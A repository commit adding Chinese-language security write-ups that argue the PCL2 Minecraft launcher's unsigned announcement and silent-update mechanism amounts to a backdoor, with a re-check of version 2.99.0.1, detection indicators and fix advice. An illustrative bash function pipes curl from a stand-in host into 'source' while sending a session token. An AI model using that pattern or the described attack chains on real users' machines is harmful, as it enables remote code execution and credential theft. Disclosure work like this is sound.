فهرست منبع

docs: PCL 公告/更新机制风险分析与 2.99.0.1 复查

MiRinChan 3 روز پیش
کامیت
6b0243308d
3فایلهای تغییر یافته به همراه344 افزوده شده و 0 حذف شده
  1. 9 0
      .gitignore
  2. 279 0
      README.md
  3. 56 0
      analysis/2.99.0.1/README.md

+ 9 - 0
.gitignore

@@ -0,0 +1,9 @@
+# 本地归档与实验材料
+/archive/
+/vm/
+/certs/
+/www/
+
+# PCL 本体:发布包与解包后的 exe
+/PCL*.zip
+/Plain Craft Launcher 2.exe

+ 279 - 0
README.md

@@ -0,0 +1,279 @@
+1. [向龙腾猫跃的道歉公告](#my-apology)
+2. [PCL 公告/更新机制风险分析](#report)
+
+[最新更新:2.99.0.1 删掉了吗?如删!](analysis/2.99.0.1/README.md)
+
+情况说明:对龙腾猫跃于 26 日发布的“一些情况更新”以及对“有关 PCL 存在所谓‘后门 / 漏洞’的说明” 的修订,本项目观点及结论不变。
+
+# 重申为什么是后门?
+
+鉴于所谓其他软件的撑腰“开团”,我想在这里作一些评论。
+
+我一直强调的“何谓后门[^backdoor]”?一种*未经文档记录的*、获取计算机系统访问权限的途径。
+
+在这里的情况,说人话就是:即在用户**不预知**的情况下作出意料外的事情;且软件在用户未明确授权的情况下,从远程获取并执行可由别人控制的代码。
+
+用简单的 bash 来举例(你们最喜欢的 bash2shell 笑话:)。我们写一个 Minecraft 启动器的核心流程。
+
+## 举例
+
+定义一个 Shell 函数作为一个 Minecraft 启动器。
+
+```bash
+mc() {
+    local USERNAME="Steve" UUID="550e8400-e29b-41d4-a716-446655440000" TOKEN="114514" VERSION="1.21.1"
+    java -cp "minecraft.jar:libs/*" net.minecraft.client.main.Main --username "$USERNAME" --uuid "$UUID" --accessToken "$TOKEN" --userType msa --version "$VERSION" --gameDir . --assetsDir assets --assetIndex 17 "$@"
+}
+```
+
+这是我们预想的,对吧?**用 Java 启动一个游戏。**很简单,我想按下一个启动游戏,它应该只启动游戏。
+
+当然,我们也可以在游戏启动之前再加一个命令。并且作为接口开放,以便所需。
+
+注意:这也是有些人最喜欢偷换概念。说“我们的软件也有 RCE 漏洞”,而展示一个运行前的命令填写框。但这是用户自己设定的,用户能够预知会发生什么。
+
+```bash
+mc() {
+    local <省略>
+    local PRESTART="fcitx5-remote -c" 
+    eval "$PRESTART" # 我们知道做了什么 :)
+        && java <省略> "$@"
+}
+```
+
+但是,PCL 并不是这样。它的抽象命令是这样的。
+
+```bash
+mc() {
+    local TOKEN="114514" <省略>
+    local PRESTART="fcitx5-remote -c" 
+    source <(curl -fsSL "https://example.com/script?session=${TOKEN}") \
+    # ↑ 在这里,我们不得知做了什么。
+    # 即便他只是作为公告 Whatever. 但是他也有运行命令的能力。
+    # 而这不能预测到。我们不知道每次从互联网上 fetch 下来什么。
+    # 并且我们不能审查代码,因为开源版本,这里写的是:“由于包含加解密等安全信息,本文件中的部分代码已被删除”
+    # 一些人偷换概念很搞笑
+        && eval "$PRESTART" \
+        && java <省略> "$@"
+}
+```
+
+不言而喻。
+
+我不求做什么 whistleblower,但是我们应该都知道,我们想要安心地运行一个程序。
+
+2026-10-24 初版
+
+2026-10-25 修订
+
+# <a id="my-apology" ></a> Notice 公告
+
+在这里先向龙腾猫跃道歉。
+
+我是一个兴趣使然的人,爱好研究以及 UI/UX。前两天,我在哔哩哔哩看到 SEDET 的视频——一个直接读 LLM 稿的。评论里大家都在评判他的立场和滥用 AI。但是,我看到了他想表达的事情。我从小坤鸽找到了一个样本,正如他视频演示的其中一个远程 RCE 性质的缺陷。而后,当我研究这份样本时,我独立地找到了另一个 RCE 性质的缺陷……
+
+……这个缺陷性质危险,我认为是一个 0-Click RCE 的后门,这相比于上一个更加危险,你可以从 PCL 的设置里检查它,它也不是 0-Click 的,你需要点击一次。但是这个不是,这近乎于后门了。
+
+为什么?因为后门[^backdoor]是“一种*未经文档记录的*、获取计算机系统访问权限的途径。”很显然,本文的提及的两个缺陷也许都满足此定义。因为,直到被发现,开发者从来没有提及过这个功能。诚然,后门也许是出于善意设置的,但使用可以朝着恶意去使用的。个人开发者很难去自证“我设计一个功能,到底是*好*还是*坏*呢?”所以最好的办法就是“少做少错,不做不错。”但我这里并不是让开发者什么都不做,而是不做那些令人费解、令人误解的功能。
+
+[^backdoor]: [NIST SP 800-82 Rev. 3 关于后门的定义](https://csrc.nist.gov/glossary/term/backdoor)
+
+我曾经发现过[一个 Android 上的漏洞](https://github.com/MiRinChan#:~:text=Found%20a%20Android%20moderate%20vulnerability%20%2D%20IssueTracker%20539158279%20%28July%2027%2C%202026),它不是代码有误,而是界面上的设计缺陷。在我或者普遍认为,一个功能只要存在不是按照目标去发展的事情,那它就存在一个缺陷或漏洞。因此,即便一个功能设计初衷是无害的,但它在能力上有害,我认为这个功能就是一种错误的存在,它不应该存在,因此,我写出报告希望大家知道它。但我并不希望大家用这份报告去做坏事,我只是希望各位开发者不要做这种功能。
+
+对于我,我不想信任任何开发者。但即便你信任龙腾猫跃,你也应该知道,你只是信任他的人品,即“龙腾猫跃自身没有主动想去利用他写出来的功能去做坏事”这件事情。但你会信任他的开发环境吗?人是不可能随时防备的。如 LTT 频道因测评软件误运行间谍软件,导致 Cookie 被盗用。科技产品们问世必是漏洞频发的。我们不能把信任随便给出去,而代码本身会说话,它会告诉你它会做什么。因此,这就是我在几年前就[从 Windows 更换到了 NixOS,并一直使用到今天](https://github.com/MiRinChan/MaybeANixOSConfig)。因为,隐藏的代码大家不一定能读透,公开的代码可能好不到哪里去[^xz]。但是至少有很多人会盯着看。
+
+[^xz]: 比如 `xz-utils`.
+
+我本质希望大家能重视到减少攻击面的必要性。
+
+我在此呼吁你,龙腾猫跃,添加几项 feature:
+
+1. PIN 住证书。[中国国家互联网应急中心在三天前报道了一起中国境外自治域 AS 402425 恶意篡改部分 DNS 解析数据事件](https://mp.weixin.qq.com/s/CAZ90qRk6klmRu6Z9RbvMg)。其中修改了 DNS 解析值,并使用 Let's Encrypt 申领了证书。受影响的主体存在 Akamai CDN。*在本公告修订时,有报道指出 AS4847 出现可能的中间人 ssh 连接的情况。*劫持、修改响应并非不可发生,安全不可忽视。
+2. 移除这类代码,转而使用“更新墙”强制更新的手段,告知用户**你接下来有事情要干**。静默更新会导致 user experience 上产生出入。这能保证用户知情“程序要做什么事情”。
+
+我也希望龙腾猫跃能给出更好的解决办法。正如我第一次与 PCL 见面,我希望 PCL 越来越好。
+
+<img width="20%" alt="祝PCL做的越来越好" src="https://github.com/user-attachments/assets/17b72cd3-b82d-4faf-b456-41325274f57b" />
+
+
+米凛 aka MiRin
+
+2026-10-23 初版
+
+2026-10-25 修订
+
+
+# <a id="report" ></a> PCL 公告/更新机制风险分析
+
+2026-10-21 初版
+
+2026-10-25 修订
+
+2026-11-07 修订
+
+省流:PCL2 在特定情况下有能力从服务器获取配置,并据此执行命令或替换自身。
+
+## 摘要
+
+蓝奏云样本与官方仓库提交 Hex-Dragon/PCL2 `6b9a50df911c9d68b69b24c979efba477fb14b67` 中根目录的压缩包内的 exe 一致。
+
+```
+6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386  Plain Craft Launcher 2.exe
+6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386  official/Plain Craft Launcher 2.exe
+```
+
+无论是否“关闭”公告,程序启动时都会请求一次公告,并执行其中的动作,或触发静默更新。
+
+这些动作与更新包都没有签名校验。我们不能确认公告一定由作者发布,也无法从公开源码审查它实际做了什么。
+
+因此存在两条风险链:
+
+- 需要一次用户交互:公告动作可以写入影响启动流程的设置,最终由系统 shell 执行。
+- 无需用户交互:远程配置可以强制客户端刷新更新配置,更新地址可指向任意包;包被解压到安装目录,用户正常退出时执行。
+
+btw,开源仓库里的公告/更新模块被删减,远程内容无从审计。
+
+## 分析
+
+### 样本
+
+文件名为 `Plain Craft Launcher 2.exe`。大小 5,980,160 字节。
+版本 PCL2/2.99.0.0.50;`VersionCode = 413`;`BuildType = Release(50)`
+SHA-256 为 `6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386`。
+
+它与官方仓库同一提交的发布包逐字节一致,不是第三方二次打包。
+
+下面的分析只做行为层面的归纳。
+
+### 并非开源
+
+```vb
+'由于包含加解密等安全信息,本文件中的部分代码已被删除
+```
+
+公告、服务器配置、更新、土豆码等实现全无;而发布版二进制有。
+
+也就是说,远程内容这一整块是闭源的。
+
+许可文件表示“PCL 被龙腾猫跃保留所有权利”,且代码使用仅为指南,而并非协议。在中国,不构成合同。没有任何一个字表示过去代码如何授权,未来的指南改变是否追溯其过去。
+
+这和社区声称“开源启动器”的论调不符。
+
+## 机制概述
+
+下面用伪代码概括数据流。
+
+```text
+启动时:
+    拉取公告索引与服务器配置
+    若服务器配置版本高于本地缓存,则覆盖本地缓存
+    拉取公告列表,逐条匹配适用条件
+    对命中的公告执行其动作
+
+动作:
+    写剪贴板 / 打开网页 / 静默退出
+    写设置:把动作携带的键值写入程序设置,缺少完整的键名白名单
+    更新:进入更新流程;静默模式下不询问用户
+```
+
+公告与配置走 TLS,但内容本身没有签名或哈希校验。TLS 只证明“连接到了某个域名”,不证明“内容由作者发布”。
+
+客户端里还有一段用于 CDN 防盗链的 URL 签名:密钥内置在客户端,算法只覆盖 URL 路径与时间戳,不覆盖响应内容。任何拿到客户端的人都能生成合法 URL,但它不能证明内容来源。
+
+## 风险链 A:公告动作写入启动前命令(需要一次交互)
+
+公告的“写设置”动作可以把任意键值写入程序设置。设置项里包含一个“启动前命令”,启动器在启动游戏前会把它交给系统 shell 执行。
+
+因此,攻击者只需要让一条公告命中一次,把该设置改成自己的命令;用户之后点击“启动游戏”,命令就会执行。由于需要用户点击一次,这条链不是 0-click。
+
+公告本身有展示门槛(例如“不再提示”的等级),但门槛是客户端逻辑,可以被构造绕过。
+
+除启动前命令外,还有若干设置会影响启动参数、自定义主页或自定义事件;能写入任意设置意味着攻击面不止一处。
+
+## 风险链 B:静默更新缺少完整性与来源校验(无需交互)
+
+公告可以触发静默更新。更新流程大致如下:
+
+```text
+更新:
+    从服务器配置读取下载地址(不固定,可指向任意主机)
+    下载文件(不校验哈希或签名)
+    若为压缩包,解压到安装目录;否则作为补丁应用到主程序
+    标记“等待重启”
+
+退出时:
+    若存在“等待重启”,执行安装目录中的新可执行文件
+```
+
+服务器配置的版本号可以被抬高,使客户端丢弃本地缓存、重新拉取配置;随后更新地址指向攻击者控制的包。整个过程不需要用户点击,用户正常关闭启动器就会执行新文件。
+
+对比同行,一个正常的自动更新至少应该有程序签名或校验和,更新来源固定,并且行为可以被检查。这里都不是。
+
+## 为什么这是"后门",不是自动更新?<a id="backdoor" ></a>
+
+为什么?因为后门[^backdoor]是“一种*未经文档记录的*、获取计算机系统访问权限的途径。”很显然,本文的提及的两个缺陷也许都满足此定义。因为,直到被发现,开发者从来没有提及过这个功能。诚然,后门也许是出于善意设置的,但使用可以朝着恶意去使用的。个人开发者很难去自证“我设计一个功能,到底是*好*还是*坏*呢?”所以最好的办法就是“少做少错,不做不错。”但我这里并不是让开发者什么都不做,而是不做那些令人费解、令人误解的功能。
+
+我们在这里研究的是“能不能”,不是作者“会不会?”
+
+历史是一本教科书,他告诉我们人们不能从历史吸取教训。
+
+Android 某 Root 程序 S……e 在服务器塞反注入代码,有两种行为,其一随机卡死手机,其二抹掉数据。目的是好的——反盗版说是,只是执行坏了——反盗版机制会干掉正版用户。
+
+知名第三方聊天软件 N……m,开源软件不放任何恶意代码,发布版本写入自动上传代码。作者声称:
+
+> If your question is, “Is it true?”, the answer is yes, numbers were sent to the bot. But not a single number has been stored anywhere or shared with anyone ever.
+>
+> Some people are asking for an “explanation”, but what kind of explanation do you want? It sends your phone number, it is what it is.
+
+你信吗?
+
+那 PCL 作者,你信吗?
+
+### 侏罗纪老头进蓝奏云放的
+
+截至笔者完成本报告,没有发现第三方二次打包或额外植入的恶意代码。
+
+## <a id="response" ></a> 检测与响应
+
+### 主机侧
+
+- `hosts` 或 DNS 中,公告域名被指向非官方地址;
+- 根证书存储中出现非官方 CA(尤其名称异常或含随机字符串的);
+- 安装目录出现额外的、等待替换的启动器可执行文件;
+- 公告与服务器配置缓存的内容、版本号异常;
+- 注册表中的公告提示等级突然变大;
+- 设置中的“启动前命令”“自定义主页”“自定义事件”等被改成陌生值;
+- 启动器日志出现公告动作、静默更新、更新程序启动、全局自定义命令等关键词。
+
+### 网络侧
+
+- 启动时请求公告索引、公告与服务器配置;
+- 随后从任意配置地址下载压缩包;
+- 证书异常(非官方 CA);
+- DNS 解析异常。
+
+### 修复建议
+
+请更换更有信任的更新机制:固定更新源,校验签名或哈希,并在更新前明确告知用户。
+
+## <a id="footnotes" ></a> 附录
+
+### A. 官方来源
+
+- 仓库:<https://github.com/Hex-Dragon/PCL2>
+- commit 提交:`6b9a50df911c9d68b69b24c979efba477fb14b67`(`2.99.0.0 正式版`)
+- 相关安全公告:
+  - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-wfpw-hfcp-9m73>(自定义主页 WebBrowser,CVE-2025-31488)
+  - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-x9wr-mgmx-3hqp>(xmlns 过滤绕过)
+  - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-gp33-rfmf-5f38>(ZipSlip)
+  - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-22mj-jjhv-rxm4>(日志泄露 AccessToken)
+
+### B. 此前的 issue
+
+“我从未收到过相关问题的 Issue 或 Security Advisory。”龙腾猫跃于“有关 PCL 存在所谓‘后门 / 漏洞’的说明”言。
+
+本文并非原创,在 SEDET 前已有相关讨论,故不将本报告视为新的问题。故未发送任何 Issue 或 Security Advisory。
+
+- https://github.com/Meloong-Git/PCL/issues/9465
+- https://github.com/Meloong-Git/PCL/issues/7854
+- https://github.com/Meloong-Git/PCL/issues/1974

+ 56 - 0
analysis/2.99.0.1/README.md

@@ -0,0 +1,56 @@
+# PCL 2.99.0.1 复查(2026-10-25)
+
+## 结论
+
+只补了一半。
+
+2.99.0.1 与远程执行相关的改动只有一处:在公告动作“写设置”之前加了一份 12 个键的黑名单。命中黑名单时,整个动作失败。
+
+这挡住了“启动前命令”那条链,但没有改变“静默更新”那条链:更新地址仍来自远程配置,下载的包仍没有签名或哈希校验,退出时仍会执行。
+
+## 样本
+
+`PCL 正式版 2.99.0.1.zip`
+
+SHA-256 `4d239a62ed66fb9ebcf4633fd881eb098e9a7e4f296f0e414b58aa2f1f7f7830`
+
+里面 `Plain Craft Launcher 2.exe`
+
+SHA-256 `0db34e19d9eeb6d496d20fabe786ec16bbd36ba6b0ccdc8d29cb7e909c114397`
+
+与官方仓库 `93ede5d`(2.99.0.1 正式版)的发布包逐字节一致,不是第三方二次打包。
+
+## 改动
+
+对 2.99.0.0 与 2.99.0.1 做了静态比对,并在隔离的 Windows 虚拟机里做了动态验证。
+
+与远程执行相关的差异只有设置写入前的黑名单:
+
+```text
+写设置(key, value):
+    if key in BLACKLIST:   # 12 个已知键
+        raise Rejected
+    settings[key] = value
+```
+
+黑名单是枚举式的,只能挡住已知键,没有从能力上限制“公告可以写设置”。
+
+## 两条链的现状
+
+- 启动前命令:被黑名单拦截,当前版本下不可达。
+- 静默更新:仍可从远程配置取得下载地址,下载的包没有签名/哈希校验,退出时执行。动态验证确认仍然可达。
+
+## 建议
+
+同主报告:固定更新源,校验签名或哈希,并在更新前告知用户。
+
+## 样本哈希(对照)
+
+```text
+4d239a62ed66fb9ebcf4633fd881eb098e9a7e4f296f0e414b58aa2f1f7f7830  PCL 正式版 2.99.0.1.zip
+0db34e19d9eeb6d496d20fabe786ec16bbd36ba6b0ccdc8d29cb7e909c114397  Plain Craft Launcher 2.exe (2.99.0.1)
+4d239a62ed66fb9ebcf4633fd881eb098e9a7e4f296f0e414b58aa2f1f7f7830  upstream/最新正式版.zip (Hex-Dragon/PCL2 93ede5d)
+
+6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386  Plain Craft Launcher 2.exe (2.99.0.0)
+01877f06df84cbab376c286a633e76ef7fca0bb469e26df97f3b09b5abd503bc  upstream/最新正式版.zip (Hex-Dragon/PCL2 6b9a50d)
+```